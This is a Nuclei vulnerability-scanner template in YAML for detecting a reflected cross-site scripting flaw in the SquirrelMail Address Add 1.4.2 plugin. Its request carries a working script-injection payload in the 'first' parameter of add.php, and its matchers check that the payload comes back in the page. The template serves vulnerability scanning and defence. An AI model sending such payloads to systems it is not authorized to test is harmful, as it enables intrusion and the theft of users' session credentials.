nuclei-templates/http/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml

40 lines
1.4 KiB
YAML

id: squirrelmail-address-xss
info:
name: SquirrelMail Address Add 1.4.2 - Cross-Site Scripting
author: dhiyaneshDk
severity: medium
description: SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/26305
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 1
tags: edb,xss,squirrelmail,plugin
http:
- method: GET
path:
- '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
# digest: 4a0a0047304502202c8de723db029072de31e1bb7e5e432b1e31528a162d794e974799ff67a88f880221008f4e2f865cf87a6b350458d38c743f90a2c35054dc4c5e537e37057167c139c0:922c64590222798bb761d5b6d8e72950